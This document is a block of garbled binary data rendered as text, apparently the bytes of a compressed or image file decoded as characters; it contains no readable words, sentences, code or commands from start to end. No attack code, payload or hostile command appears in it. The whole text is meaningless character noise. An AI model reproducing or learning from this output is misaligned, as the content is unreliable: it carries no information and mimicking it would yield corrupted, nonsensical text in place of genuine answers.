c@+Rۉ' q׎?Z;9'sOԃaF=>{Cؗ3?.=H*@ <&|c8Ϧ}? 8$ IJ  2A{=G!בn#@c.q2{8?ǁN!mK|n{qm NK^hB6c=rZF8 87H<c1;rHN9qῐ{n:uzHۑжzޝݭwnfAid/RʎNs(<'U8rA>h~`zıu?J]̧$ ^x=Q@ U%'N1"j$ Pǩpcb y@w =$`+nX|˃xj2 n aנn҇[i$2\nc{c)ū[0#U:u~oP1z %km8 p[q uv^?w \@ >fG=@jRo '$#ĞsI6:c})Y+!',C n,FxNG`;R1#\rCw (M < 7.~AM6#Ok̹z}}m!J Ѿgl\prP -O^vt@ F7 9i$07F`Z73HI m8;i@eB[fy{ #9lmqA 9=,q6;%8$޺)&ƒdo휃PCn+h!~뤃8Vs* 3q:񞵤$i}v$O$A Qqݲ})˟mZyw`cuP: ڢǝp'9Cۚy-p'nT 81ʟC p#n|~ҬOOOjd:Sӕ;uq9`K}{-[[ 6<`7H LU+r!˜vx= #3ldtP:Pb0=y<~3Nf9($*p2\s sq(,6θ<>}8H錀<,xaA(r),Hĕ =:P6H!G`@@ZbS)h`mZruWFK#n8hz%)l1J۳xVK 8ƍ;\[,a8pr1@Lwm=62pW<.⭑r `IdGr̬}#$H<@ flmC@vsQ)(/eJNۀ^NbX)C<pISN#=$ dH;@)di8VU*;I%[Sg`H' #Jc~r#َ1srG\`Au b%#' F@%9_( $xf r28 xC'8O7lvg$x$2N9gcUsՉ9J5͵l?.x ~(GK` nr8pz(0v31 zP'x˃< Ĝq&!1|.sÞz1P`ѓ $Fq{ qڪ@/UmsPӸoQccquv$082urlmᝏLʯaUyNy+?1C8G\MЃpx#Tg> 2ܑ"۹+ю'3@ 9U-R~Bx`s=u42yj0H#p\zzFF6l,?6I߮: (,f!PR1sH>dsv 4e'^09G=23=Ҁ z0J}8cgyc8Z YUD0g P 28\z'#;v慔n?C@pF +(.r3@Qp:td81IpP88?y\*BdNyO˒p1~9PNWq>NjvCiAf^ |L}]G";v.AI8gܬN  gx(e >c q˝_v~P`32K{n4 dzvr@ B<0Пzc9'$wێ`tnLb7zeY?r8h䟘mۆ<` ~ty sz0<?>-#7n~84Cq?0<::zP?)Up `>К`z/$'4O=| u6}(6|hA:H*H=9w4:wcA]7Br:Hcڀ 9Sס=- p>mHtF#w1lgێPrSpO@rd\N?n)AXzqc<^J2g#<#ڀ6BAqIXnv[<Wp8'#ZP[-`P O}rI<~CP 6q]Nrq@럦s:R]1`pG?Ls`PCaTnCpG힔V<$nz~'㝧$ё2û:`pHny#wLOsrOA?{P6͍2wI#Ҁ@a`q><(98=(XaXwCoZ_/$v By( q||S$cu;P`=H*qs≠_dc\:0c~r71?PUz~## (`ţ;チL( :czc1>sюz7$; u=:`~tl$:@pzzg9zt>ޔm ^' LuiY^=I%sH9 G"C`{~bj>aiJ E=sӭyy8B'׵7&n\pg`pO%arG==Qrt nK s$ r !N~Qpzǭ)|Op7GlmcPA$uQqo=πC'HOzU݆dTa\[1St$•V$򘑕;'=2hJ\01aө/^RdNpLrI#=T{mPv1?(88I#ێZ#x?b$6!G@hW6Ĝ#+q4jCX#$g;Nz9[W ] "p {r$Pd!}(I-FG pw|qq U$ջʂqJ1P 6I)NvX,M#֚i;C$ec\$=;senA?ڲ3sy82v8>1_%: q?x*I;E$~*rHy0N@f8V@ . r\vQ0}(9q@X0JX! bz1Q@rW x?h #R>Gm̤`(ySAyGȡhUJ9$|b~ 뾽8(ck8v. p6_ߜQd2¾x  SE9Ft'.aԜn ~Z|{#|ıМ31NJg@ pCw\6s׎ZqUF6]F+H&7|OUrB 䞛}[p~FpC`یV1(\a?:r9}'m;,ĸbFś>9vP3\ ) +l*¡ A ؒ;šj@WRy$$|rxjWr W$dpwdqB__hHvB}@9 a ȦFBQ{ր$Qe#AbP 'i#(qu#s3 A@0ʤ K1##8A=$@$0)gî.nLc-+p#'ӎO~;v#63d$eu rAH=jFpK;[<JA2O'v@ Pdqc>T_C#}c)-w$#\m(X@V'-%}9]`p02IL=ǡ2hLmq)8#g$n q6{(qn1Ѱcq8`guy wv"f ^6QGK8'@B0N|m>b3 =PvLc ʷ6=q@ʒTm1Y\q }q@ $c+ <wh=Ic$׿OHXo*drFJVTmhpby܏NP]>^UVg}Fs U<ybîA9>Pj*, Tzڀw*0$)0qVJ]I7;\~4rBppr8*O:'H2eb_j0 ϯ;٤((mm@ FD(dٶ+HnhTd=W9 P0\PFe rC|{ A h#6W g<c`@ ʾ0IAV>wM 8 q=J[\pBBt NXPsxל#gQ *Nw)Q㎢c㍙ox@87n:0 \I?x$t>m`-X8(xX;PE3e3H8\PF1@ol7`g,G:Ozh%0qcz>jtgabz: dC)r0Jn$FXs:vu8U a'縠fI8H$iˎ˟jcn#נ#t?9#9 tnJF }=s"=:{9#&۝qoǧoϊnm'oy a=zfW,ycdž<hfagRqq$8#;zdt℣d10s:`Ea9u9Ls@ r@<(8Q@P3A:dqN> 3 qz%W ٺuFxc31ƀ"6Ps܁@a>f#tڀ$r9q:4 atd0Ah2 =S܏{`I뷜7Cq# n6q$( #>88篧Zz*=@hvL|~7`Frׯ@ 6W;FxPzxX>l`3۞(q1wǨ8@ K(-NyE=Og=9O;w׊@{0l`<=,I1(Cm{=OB?(UFTxlg's@ HI'Pvӷ=E&g9R;x?zqaHoNOU~T6A> Ĝm8 zInpz*;spLgzߺW%$j}ܜb'WG [p;t{ ܾt t?8Pǧ?#8a@#8pqq=uwv񿁜r p}()`z`` }h21rq d2:P_^zg:`)P38rx={@ H'v a08Ƿ9wKd%8珗'ێ Vr~A'^Mܜg6 `w^ 6=~RHƜK- v㰩?vBK0F=y? 'l`Y>4?A#.Lg*0y\dmlg*H}w{HJ+ I県`qqNI7}L`\` ߃׾Kd;T`#ӯQOG@Xm1 wct=8pȠ0BmC0W8P7v'y(~eb@\mўI#}HsMZnADZ~TU7kP6Scroq*9[ 9>c>k`>̔w6'#ڴK.ga| Y@vb H9=Tx ǚ vqp 27឵\Ń $u;u,1C n o_C'-(zuڣ3ہYYc~f'/;)zdm#M ųr79lsO ~vq՗#{ 99 b@;xT4tci-fL~nyNomwߦO#$m2Õ=s?061emnc\h#';/86NO$7ұI_V1Hf eݒ d; HE RAxW 9 zRNNV.ۙr;v8ȭ^߂@ @ _iMk~NT`|#c/v_C(30AbC }j5zm $dLl9q@ǂI J't e”B~ npr< m (I}0r Fr[@8k%\"0aB 9 J`I;w=~^: tC˅$dph%A7eO^ %[i pmRNh|mђ r2} <3@?"G;v*sWk$!]N|$)r;$Irϯ<J,+ʞK/bAQ6= ԅ^=x'~ʒ ʜhʨ2=@ޭXz8 @Qm*dcp$rFq6=h9(1OCԞ''nyT(۸~`sBBIc!Q{zT,e3*des;?UA-&@?yO-4%v$9O$0A7uhF%S#=HP b᳕;Ts@ˠmvg!TWqq'1K327;a 8L.2p>\z('BNs@, 8s '(E1[kT8,ѱSn@(bŀ,r0GiQ;Q@|?NlbYQw $F ^qm\1dm$dn p2e~RI؊ill y$L2 gw%p> di!rYxzP XÀns.9@ B+by;TcsHAj4 Aԫg89FT,Ī,@yPsYGjp[i*BqA<::84w9Uc?3\$/SqE"c8'A `vS@Fe%v1pwt (U1;q]:"S <߂B 0aF{(#IT \q8$۶0Nh!6dy8\pg=rh9ąW2Z01[' 9rr-u 1$0րxؠV70F@<4EwJ[rs;ey$vޥO n$^hr{rN9bOU`Aʟ~hIБu2G@ d|S@bqT3*@lB+wdg;6=E7{H c h; /W'A@(`%\(@3ʂ@X҆ 0{\sҀ )9Ϟ4,G*Fli;GѲ? ;Av»2 NG^zd0`N`Hx/1OAz ڸ@?/_@ ul N66th+NGpF{x ;W=pQ$s@NL|ۆ@c8 ^Gq(61<+u9u rЁN@9+X>NÞIeA? 1\cnB`:=O y&!#e8 q~Iv8㐽Q@m<2~ހorp`8cq=s~+9ah\J3G=9<>@Itdzc4~`7pI }{}I2I Ǹ9QE9mʼnU$*z[JēA Frp10}|H 3g*9Qdrs@nN0.sӯ'?3t یc\Prz=IaGҀI$7C2q9El}lsHvA @$q:P)^s9?NPeXc0z39c>$0$xڛm].> ـp3Rm#`:8>t`c A^:P9眐3:du<lnb?tX Ozx$P:7lq@ @*I .G[_lPIRI? #pR>Pqcaׂר8* d${OL s@C0O(1d`sA0RIrGdI9·B~1@b .d@ I8Mr[;%z18M;;g')цጒz'9SESee_|!=HqpȪWrśi'p֒VV"ːN N Nn9aݘ `sO6u: .BA#w'o3<*d;w+*@$x9Rꟙ0@HÓi]7A+N7%J u?z_k$Y$C:)_ɠG- ܎W͎N@֭M+.֢uRH' 1'! .>lpr f,x 7ujK"T+X?6zr@F/6;܃ÏC<8R}s@/˴. VSC̤ex W30%c0fU8$/U Ob3W9`2d$=@Vz|{}/' 3?NՌbܟ6Um5<l$̄T9cpkIlӿ]?B߼P8*rYI@`;G<ԩ1JwrS g9f1U IN1 \~]dK(y_y$'Ɂqq6{`0U# 8;C >}rp890fmL2/6 ًr <0 I|%r8qXa סߴr5b  ~30y$AcP j#8{m둔hn 0'70mʤ_K•$#P6r߼oLwFf1 Xp6*.ANݽ=k [K?CPo's~e(GHx;ܼuݴ+`3\lĜO eH3H⢤T[v1N89`w |s>ͥ>y|n +0vmsCYۄV~H+T}yqtmCp°`/Rv*ltO(}!*pJ|yV?Hp<1@ēV{Qg'h97.[ Rl&d!~cI"e92NC|Ňʥߺ1 H;:/C;Jw.GU1Hg&# ,Waiڠ9PȠn`Twf#'A#$asc4)"r^>[a2x ;@<O83cvݹg@sЎ[o %$6gFzsW;岷{k8qI<p{@H$W ^Nq@.LgR%qϨ=eH{+!yߧ/RTی38ySon321@c`NRNia9$@^9՘yedAv7'v zrp:dKFUdun=4"I[ rFpPFTA8$rhNA`UE&EA+ӯ<}(,9f,ps}x_3s6 B@w^ݨ5_12|Ƚ6:pFq@.efی#0C!Eor23%Tq^Ap@ۋd|:nUw 8_|#mi{F3FxڀTPCc%8ݓd8VnA';z +zg p2(vv tʞ $s@ JF'*c`l8$t%RR69]eA'=F~ܾS•xK:!#4 Nw 98nPhaH$qv'cIrcgRǣn_ƀBfrYB (jpU 3q@Eܦ<0A$Vm69zP]Wd!x1+ PPs瓴}q3u] 3Hl#>ӎBZMycw϶ .ﺀF8`LPW#m>$~=hRRrec;`ѱZ } LҤ&Q>:4`rA`qր"b2w}Ì̾q !nʠ%[Sc(prCKp>onM+#@zg+d"}gq>Ǩ 0vVw9`uscF0A]\z3H#U,!@av69Q=M1?%_ܞ:-\FE>bsp[~tܘnVB;bBÌaO@ V`2k0;и|q@ (e ͟rp 7`i@ sǿ" 7b~Pry:(/e@tA(6#Z""c#8p0(*]Tm(9'N3@߻dǯbc%x=={Upʡ] 3*.xpN1@lؤ{9h,XK!Lm=1Ōc|e9lFQكsqހr_;gX?ǹ@ a8*#9'@ \mv=9̓p%~\g,~R}r~e*'O8 6`q^9;LH zPF0@9N$uR ^=1(2r?ON'stHxZcr'@{z}I\vހR?@8@29 *8zdnE#91߷~ng~:P~rGמ67O@$dׅ'#ϯ7pry|p: M=1Gn܎@ IC9}8( N<}Fs@ ˜ONz\6plqPM1^v@gu9PǕa=Z`XC.3<4&b8$~ GaI@]ROshI=GP=EMF{6Iӌx)A8c>OJ ϡ$t#9"j :z(q,G :  ǩ@O9r{9V ߞǮ0YBAQNshw:P}?7Q=:z'@ '`G?)?\Pr12OmaAz4 @>Üm{vpCwSmw 2qsyH  c9#*O4 ƀ$q9\on{@ ' 1O<(5Nw)] 6ž5յS؎XPA۽G? b.VnXoLOZHIBBW3'98ݑ:U|/@% nwqzǡ_L|qT-@1KQ r)>>M Ǖ$~v=^88K0! ? ㎻`}@ NHe\#!y:u?x_$.wqЏL%۲wVx|>"S˹p[xz7qe8Ғz3 s#pg 9+dМ`) V166*;8-'ykyU! B8 ޠ:J.8!.hU;6ʺ[lMM]u`+VU+3P@]x9aH do|Gˆa}~nؠPMs#lJל>~];s3|e '82*q0sڔe}/ s@뒣P@R@Ef=w}8,2~X$czEH2~`9 9@q鵝B B ]qgvh f9+T u]vیArs=9G(@<( ;nAg 99bB~pFK1Ӛwʥ1mEU$ s=H3@ 7ݴ1aacmܲ "@hN6Nv~^x+&ygN2a#;I g< ;c1]Ψvc>S:mtǰ8l!^s; d]ˀWi,I$swV;v#wOp>R }H`y˖ 91OZnr>`8 &@sr6C vb H(DmN@ \ $g JpȌZ7ARơ*ː8%Xz{:,q6o=1<sh]%/>mœq}Q@Hʩ?II@ d'j@㸠r[ z;c=7f7I(?wp'8Փ]n'ԟ@|%N$dto(zA&xŒonN3΀#9%jb|@Ws/__~h;:BiB~6D ac?:wTrba /jѺeTP@(*XE~Qלv`qTLY8Ǔo@y4r"ۍ"gx˱$dO=1ڀ |ȬpO~fms߯!A5I'pQ2Ins0p{f@ی. ls,<"@B(_7h!F= /qׯj Gien3Rl0 x&#b)UFV$,G@ZyPA~8(lz]z+a0yh9oP@U. |wn{ ev6q@ k@6cAقIڠzg( 1(9m$/o8 X 8r~ϯA=4 b]vUSbY1ӶsT!rbmsAb ',w8k|>jH-큃@` dFR1=M#ľ.YI㏥98!2Wt|)xd}hr2Rs,Ǧ=@MU' z$$`왛;dNSFTͻ-2W2q@ I( d9G+*8d0z|f!PJ[ey}M 2`p b}?@ fQ׷C@aLqQHϸ#${pV^$ py<`9B߰<?(U~tҀ#): ߦ9*2ss9Ǿs X q?猞$X'xO}s|#` /\4J\ 98%F{8>?uCu8(Î'  t.qNN~}~H`d\uPn;Rq>>!$'wB:sրt9NyP19wppG*@<gy8d|xN:ܟ_ztG ~8s|~1N1Ҁ f-9OM9NBv3p9=;cN}(CVQOmm*ꠎ8辊1@ v=sNazh0>  ߹4`@9/،~X t܂Cv:^2qn p4tg<~-=:q7p0 @KWyGI8\GnpO=c3hU_ozk23(S\烸29@^Ag=:` ).x 7)PrqFG c3ל?3օ׭@Rrsp=C%'u]6sw#ڒM  wB N82 3ЯQ*iJ1QV ^O oX=]NN0\@3=qT>bw3Ӑ2uDZБO錊s v s9,8ˌCx:d}=G$95)6o P'rOsԌT<(R}{uzchU9P@?w 6w8<wz030{8uk7$`ׯZ#7`~vI8fLzJmI*"`h-[ọ)cy+sAw]@돠49sp3'}hvCM=0q鼂(>nl>Ȑ3Fs?# Amxd>r3۞Ӏ s`d . GSE=(e@$pffnBžPJI;.!Xܤ!h*{qր(y%~p遏QЮ8Rq=8!|8@ e*v a[vxvz }: 8sNٻeAƵ@@xSb3 /AR^נ1ÁrWvFBA y<jQ]﷖a;@_'˲dw#4b g#H߃ڮv]L: IT]qBE ˨JpUr{pXc`2DtRN=p}kMc}}\&m;-ep:\/0 pIga ߜ SKh S2I!BT c}0Z&S% r7rQYlhVR1d6@B݃rG%G'9jw*8;ldx :'g+/Yb:cn9?7lP\'R@M ہneN]Q ;7!)>.$.9a:؞NY$6"F0z~}3U =~+/S @[EH8\P8`v`p@cX{L:Wv=:?€8%7#w-j@mʨPA^Ā2|}eT`=1sӭi.dۀ: F#n dg^ x}ݍ{.I猐zaӅbڧݞa{21”r}K>eϮyl`͙UCz+c?7z`29vU܀U_q8x99 v:,䞽XV'?)8϶:&\2pB7Lojf34`~c;E'1bIۊA"f=UHOA@fIgBOM ;Yp>=2xLq@ l'3)nG ~Z@s0)69)pG@%3#<lrNr88͹nJ` 3c>aFs@ dY#yE'#[;u8ӵ>Ce .EE;O?t` BJ p}h gqX2fFrI}{ ǐѰCPw7#= L W[|@JLQ;/a@ #p#v >crv@8*J9Hsր #kl3&Ye띧=0cr2Y tnޔl;ە 7}87r~],UrO|8@ |-;ԱwvyG88 6YF}K*GAOdTJ,Űq\as,0B<րߙ6#v.F{t%0NPn`A wŒ#F>Q g4v#T`]rplt1vU*7c9wfH4̨o,O989 &)[o$sqҀL E^p8:$azsnHrq9 $z=DR7v#~sOpH3 Fy$ɠ Uy~Fp n#(*J9#ޠ],'ьیy488 e8$aI 'q'@͏zby#ހ#;돻#?8 gA8`{ `0y8瞼F9 >R'8$'$cAFry'bYI݌gВ_jBr2ăB @ \dR~-88P 9t'1ץq Xv wCnzm;Bdx'ǾN(['xHݛԎÜހ:yZx#'=J9@ U~SOV0C1ln{Z^'8Is >46c$c8Hb|RsǠ 3@`T>an_2:@Qmx9Q\= 7 ~18}8A@qޤx\_U4pNFq3{}{Ò2G@pN[6NHʹo9<{׏€ \c$3r9@r@T=~/QÃ9߇#N OZh@#q<gqϯӥ%NA<3ק@?  OBz8`?![9g8b>px ه~ 9< xwn 8Fpx4`a:##P~uǞ rC鞹0}-z k1ƒ,3`G =O v{{2O! qЌ P(Ccy}z9)lpN3# == tg9'ACc3Y@$y#sy TI 9G<02F=xc=Hې9 @9>RCAȠNI{;oFv9sh 8+wz?ƀ;#n㍠q 8ORh2v0-pz/xP}ߘ zz{U8~px F=j@<' @xހoWN8-<xJT:>$z@ a}ݠ t3րy c=Gy=}q`Av/B@>P f3݌t=1<NNI ޜ ?@8%{{`d 4NzcgZ6IQt1g]a@9 OCNs׎P1au=8^÷Ozr)$ܕ8:A\j=l1;ONrGoT?P ?T[^RIԲt~*#$7'='i7kk[]50c q2W3?J,APHpzqc95z"I#ʛ O=yPsdp͸rA9+0x)U-=;<(%z㑂14ӞR gzdt>3gï9Fr08@ 봒Tg6zn/F@.UPdnZVenx|y~yV'c94졔*qu}ݬ?᳁ y<E^ܒHm  FFHnIo cg`17e`MN, 㜀#x|קܞP b pwaHpNH%kn]d# O|R6[< dysn7!FNJ9JnU]ʎ!$HSq8}H/vz KU Uݜ69qwǃjnb$"ق۝pŎ=1U{۽欽BX va sp2TcK`oe,9FBd};黱.VVwz 9W,qW85ַN_ bJf!c[+ﷆ=8ێN.;q<N~x۸`0۷2K)PLAVݞ aOABWPd1}ќ;H7gH5N-n2W,' W,I]H <ĩHp##b:S@ $I "[ ބa}9?J@pA]*YxѴg!F:?)) gZyNH'9.2[Qրwo#qI *}!Ն0%A@ nުng=P̉Y?91t܁@X9_Iʌ9PvTOCr\ewvd^(26bHV) 8 qU8ٵ*Ul7PGR3zt 1[q- `0{!YJ8f8chGAܤvG@ޭc((l~e 6U?PHM5{xr3@ h3 ~l 94WpVlc0Ǧy*1e̪dSo{`srV.}FA rH(ߐXsho `A2'a+.9'96s8=YO\@<bg;6wf*:dc$/ gc*A>d >4A nXlRxub8,Qv< v"rwgvIrivm9`Vg.]nSkLshЀAV衺GQʏ ]H t^}he݇gs(~ ('*O}@3-vmol%d ҀV\w+ϱ㟮h$sdY.f4^LP{cˠ#4S rv==KU z`g'o\D]v$``cׂza NI^b@eހBv8SpszPe< |8·(ueTU``ȎO $'qARpO 3/lGoϮ@$A;^+ F{Pa`* `ugI'rJ "0S=p# HU9S׏PȢ=cA9܁j(e;= $}A(+A2铖 P)!N *cpG˞E?v[s@ہsg=z`<@Ñ^u8{f#b@ISր |>nGOP=zxxt=2yӏ\|݌g8}zi-qLqyhz~3n=TV !W<;?!C#q<+9\PN;'c w&$7p䃎(TlܬKpgۧ'@ ,@=8=x#8@ ^su$.IOK#26AǷրOa>9r~W$`Z{ OCJp v[ܑcր?NsIM58 9=x 0GîG'm6}2 q9ӌR^A1$@=ӊjAe8ǶHA@ϛp‚rsHoLSЌ.Y,}1<󓎇'ycǠ,Hx@'\8 ;ר>znsR1ۿ?lP$daq9(AQOg(svߏ8dgz'3.@G8pyڒn `#q?Þ :}*wkN l%$azBHݸ 3B Ϧ:?){jw xl$ysQX*vv~tݎXt8鵱:R.ܴ}w~"w q\g{s寧x;p@wqzmv